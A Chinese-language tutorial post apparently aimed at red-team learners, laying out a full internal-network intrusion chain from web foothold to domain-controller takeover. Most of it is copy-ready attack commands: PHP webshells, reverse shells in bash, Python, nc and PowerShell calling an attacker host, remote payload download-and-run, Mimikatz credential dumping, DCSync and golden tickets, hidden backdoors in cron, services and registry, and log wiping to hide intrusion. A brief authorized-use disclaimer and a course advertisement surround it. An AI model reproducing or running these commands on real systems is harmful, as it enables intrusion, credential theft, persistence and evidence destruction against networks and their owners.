☰
内网渗透全流程实战:从外网打点到域控拿下的完整路径
2026/9/29 21:48:36 网站建设 项目流程

“内网渗透和Web渗透有什么区别?”“拿到外网shell后怎么打内网?”“怎么从普通权限打到域控?”

内网渗透是渗透测试的进阶领域。与Web渗透不同,内网渗透更像是在一个封闭的网络中"走迷宫"——从外网打点进入内网,然后一步步收集信息、横向移动、提升权限,最终拿下域控。

护网行动中,红队的核心任务就是内网渗透。从外网边界突破到内网域控拿下,整个过程考验的是综合能力:Web漏洞利用、提权技术、域渗透、协议分析、工具运用缺一不可。

我第一次完整做内网渗透是在护网演练中,从外网一个SQL注入拿到Webshell,然后提权到SYSTEM,发现机器在域内,通过BloodHound分析攻击路径,利用Kerberoasting拿到域管哈希,最终DCSync导出全域密码。整个过程花了6个小时,让我对"攻击链"有了完整理解。

今天我把内网渗透的完整流程整理出来:外网打点、内网收集、横向移动、提权、域控拿下。看完这篇,你对内网渗透会有一个系统化认知。

⚠️ 注意:本文仅用于授权的安全测试和教育目的,严禁用于非法用途。


一、内网渗透完整路径

1. 外网打点 → 2. 边界突破 → 3. 内网信息收集 → 4. 横向移动 → 5. 权限提升 → 6. 域控拿下 → 7. 权限维持 → 8. 痕迹清理

各阶段概览

阶段目标常用技术
外网打点获取初始shellWeb漏洞/钓鱼/VPN
边界突破进入内网端口转发/代理隧道
信息收集了解内网结构端口扫描/服务识别
横向移动获取更多权限PtH/ PsExec/WMI
权限提升获取高权限内核漏洞/配置缺陷
域控拿下控制整个域Kerberoasting/DCSync
权限维持保持持久访问服务/计划任务/后门
痕迹清理清除入侵痕迹日志清理(仅授权测试)

二、外网打点

常见入口

入口说明常见漏洞
Web应用最常见的入口SQL注入/RCE/文件上传
VPN远程接入弱口令/CVE漏洞
邮件钓鱼入口钓鱼邮件/配置泄露
DNS域名信息域传送/子域接管
API接口暴露未授权访问/注入

Web打点实战

# 1. 信息收集# 子域名收集subfinder-dtarget.com-osubdomains.txt# 端口扫描nmap-sV-p-192.168.1.10# 目录扫描dirsearch-uhttp://target.com-ephp,asp,jsp# 2. 漏洞发现# SQL注入测试sqlmap-u"http://target.com/news?id=1"--batch# 文件上传测试# 尝试上传一句话木马# 命令注入测试;|`$()等特殊字符# 3. 获取Webshell# 通过文件上传<?php @eval($_POST['cmd']);?># 通过SQL注入写文件SELECT'<?php eval($_POST[cmd]);?>'INTO OUTFILE'/var/www/html/shell.php'

获取反弹Shell

# Bash反弹bash-i>&/dev/tcp/192.168.1.5/44440>&1# Python反弹python3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'# PowerShell反弹powershell-nop-whidden-c"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.5/shell.ps1')"# NC反弹nc-e/bin/bash192.168.1.54444

三、内网信息收集

本机信息收集

# Linux本机信息id# 当前用户whoami# 当前身份hostname# 主机名ifconfig# 网卡信息cat/etc/hosts# 主机解析cat/etc/resolv.conf# DNS配置arp-a# ARP缓存netstat-tunlp# 网络连接psaux# 进程列表crontab-l# 定时任务cat/etc/passwd# 用户列表sudo-l# sudo权限
# Windows本机信息whoami/all# 当前身份和权限hostname# 主机名ipconfig/all# 网络配置net user# 本地用户net localgroup administrators# 管理员组netgroup"domain admins"/domain# 域管systeminfo# 系统信息tasklist/svc# 进程和服务netstat-ano# 网络连接

内网存活探测

# ICMP扫描nmap-sn192.168.1.0/24 fping-g192.168.1.0/242>/dev/null# ARP扫描nmap-PR192.168.1.0/24 arp-scan-l# 使用代理扫描proxychains nmap-sT-Pn192.168.2.0/24

内网端口扫描

# Nmap扫描nmap-sV-p22,80,135,139,443,445,1433,3306,3389,5985192.168.1.0/24# 使用fscan(国内工具)fscan-h192.168.1.0/24# 使用LadonLadon.exe192.168.1.0/24 OsScan Ladon.exe192.168.1.0/24 WebScan# 内网Web服务发现# 常见端口:80,443,8080,8443,7001,9090,8888

域环境判断

# 判断是否在域环境net config Workstation# 如果显示"工作组"说明不在域# 如果显示"域"说明在域环境# 获取域信息net view/domain netgroup/domain nltest/domain_trusts# 获取域控nltest/dclist:corp nslookup-type=srv _ldap._tcp.dc._msdcs.corp.local# 获取域管netgroup"Domain Admins"/domain

四、代理与隧道

常见代理方案

方案说明适用场景
SOCKS代理通用TCP代理多协议穿透
端口转发一对一映射特定端口
HTTP隧道HTTP传输只允许80/443
DNS隧道DNS查询只允许DNS
ICMP隧道Ping包只允许ICMP

SOCKS代理搭建

# EarthWorm (ew) - 内网穿透工具# 正向代理(目标可入站)./ew-sssocksd-l1080# 反向代理(目标出站)# 攻击机:./ew-srcsocks-l1080-e1234# 目标机:./ew-srssocks-d192.168.1.5-e1234# 二级代理./ew-slcx_listen-l1080-e8888./ew-slcx_slave-d192.168.1.5-e8888
# frp - 反向代理# frps.ini (攻击机)[common]bind_port=7000# 启动 ./frps -c frps.ini# frpc.ini (目标机)[common]server_addr=192.168.1.5 server_port=7000[socks5]type=tcp remote_port=1080[plugin]plugin=socks5# 启动 ./frpc -c frpc.ini

proxychains配置

# 配置proxychainsvim/etc/proxychains.conf# 最后一行改为:socks5127.0.0.11080# 使用proxychains执行命令proxychains nmap-sT-Pn192.168.2.10 proxychainssshroot@192.168.2.10 proxychainscurlhttp://192.168.2.10

五、横向移动

密码与哈希获取

# Mimikatz获取凭据privilege::debug sekurlsa::logonpasswords# 获取明文密码lsadump::sam# 获取本地SAM哈希lsadump::dcsync /user:Administrator# DCSync获取域哈希# LaZagne获取密码LaZagne.exe all# 获取浏览器/邮箱/数据库密码

横向移动技术

# 1. Impacket PsExecpsexec.py corp.local/administrator:password@192.168.2.10 psexec.py-hashes:NT_HASH corp.local/administrator@192.168.2.10# 2. WMIwmiexec.py corp.local/administrator:password@192.168.2.10# 3. SMBsmbexec.py corp.local/administrator:password@192.168.2.10# 4. CrackMapExec批量crackmapexec smb192.168.2.0/24-uadministrator-HNT_HASH crackmapexec smb192.168.2.0/24-uusers.txt-ppasswords.txt# 5. RDPrdesktop192.168.2.10 xfreerdp /v:192.168.2.10 /u:administrator /p:password

哈希传递(Pass the Hash)

# Mimikatz PtHsekurlsa::pth /user:administrator /domain:corp.local /ntlm:NT_HASH# CrackMapExec PtHcrackmapexec smb192.168.2.0/24-uadministrator-HNT_HASH# Evil-WinRMevil-winrm-i192.168.2.10-uadministrator-HNT_HASH

六、权限提升

Linux提权

# 查找SUID文件find/-perm-4000-typef2>/dev/null# 查找sudo权限sudo-l# 查找可写脚本find/-writable-typef2>/dev/null|grep-v-E"^/(proc|sys|tmp)"# 内核提权uname-a# 查找对应内核版本漏洞

Windows提权

# 信息收集systeminfowhoami/priv# 查找服务缺陷accesschk.exe-uwcqv"Users"*-accepteula# 令牌窃取JuicyPotato.exe-l1337-pcmd.exe-t* PrintSpoofer.exe-i-c"cmd /c whoami"# Mimikatz提权privilege::debug token::whoami token::elevate /id:SYSTEM_PID

七、域控拿下

攻击路径

路径1:普通用户 → Kerberoasting → 服务账户 → 域管 路径2:普通用户 → BloodHound → ACL攻击 → 域管 路径3:普通用户 → 委派攻击 → 域控 路径4:域管哈希 → DCSync → 全域密码

Kerberoasting

# RubeusRubeus.exe kerberoast /outfile:hashes.txt# ImpacketGetUserSPNs.py corp.local/user:password -dc-ip10.0.0.1-request# 破解hashcat-m13100hashes.txt /usr/share/wordlists/rockyou.txt

DCSync

# Mimikatzlsadump::dcsync /domain:corp.local /user:Administrator lsadump::dcsync /domain:corp.local /all# Impacketsecretsdump.py corp.local/administrator:password@10.0.0.1

Golden Ticket

# 获取krbtgt哈希lsadump::dcsync /domain:corp.local /user:krbtgt# 制作黄金票据kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ticket:golden.kirbi# 导入票据kerberos::ptt golden.kirbi# 访问域控dir\\DC01.corp.local\c$

八、权限维持

Linux权限维持

# SSH公钥后门echo"ssh-rsa AAAA...">>/root/.ssh/authorized_keys# Crontab后门(crontab -l;echo"*/30 * * * * bash -i >& /dev/tcp/192.168.1.5/4444 0>&1")|crontab-# SUID后门cp/bin/bash /tmp/.backdoorchmodu+s /tmp/.backdoor# PAM后门# 需要编译替换PAM模块

Windows权限维持

# 服务后门sc create backdoorbinpath="cmd /c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.5/shell.ps1')"sc start backdoor# 计划任务schtasks /create /tn"Update"/tr"powershell -nop -w hidden -c IEX(...)"/sc minute /mo30/ru SYSTEM# 注册表自启regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/v Update /t REG_SZ /d"powershell -nop -w hidden -c IEX(...)"

九、痕迹清理

⚠️ 以下操作仅用于授权测试中的演示环节。

Linux痕迹清理

# 清除命令历史history-cecho>~/.bash_historyunsetHISTFILE# 清除日志echo>/var/log/wtmpecho>/var/log/btmpecho>/var/log/lastlogecho>/var/log/secureecho>/var/log/messages# 精确清理sed-i'/192.168.1.5/d'/var/log/auth.log

Windows痕迹清理

# 清除事件日志wevtutil cl System wevtutil cl Security wevtutil cl Application# 清除RDP日志reg delete"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings"/v ConnectedCache /f# 清除PowerShell日志reg delete"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PowerShell"/f# 清除最近文件del /f /q %APPDATA%\Microsoft\Windows\Recent\*

十、内网渗透工具箱

工具功能平台
fscan内网综合扫描跨平台
BloodHound域分析跨平台
Mimikatz凭据获取Windows
Impacket协议工具包跨平台
CrackMapExec批量操作跨平台
frp代理穿透跨平台
EarthWorm隧道穿透跨平台
Cobalt Strike红队平台跨平台
Metasploit综合框架跨平台
Proxifier代理客户端Windows

学习资源

内网渗透是渗透测试中最核心、也最有技术含量的领域。它要求你同时掌握Web安全、系统安全、域安全、网络协议等多方面知识,并且能在实战中灵活组合运用。

从外网打点到域控拿下,每一步都需要大量的实战积累。BloodHound路径分析、Impacket横向移动、Mimikatz凭据提取、frp隧道穿透,这些工具和技术都需要在靶场中反复练习。

如果你对内网渗透和红队技术感兴趣,想系统学习更多知识——包括完整渗透流程、域渗透、应急响应、CTF实战等——可以参考下面整理的完整学习资料包。

内容涵盖:

从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源


总结

阶段核心技术
外网打点Web漏洞 + 反弹Shell
代理穿透frp + EW + proxychains
信息收集端口扫描 + 域信息收集
横向移动PtH + PsExec + WMI
权限提升内核漏洞 + 令牌窃取
域控拿下Kerberoasting + DCSync
权限维持服务 + 计划任务 + 后门

🔒 内网渗透的本质是"攻击链"——从一个点到另一个点,每一步都在寻找下一个突破口。

————————————————

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询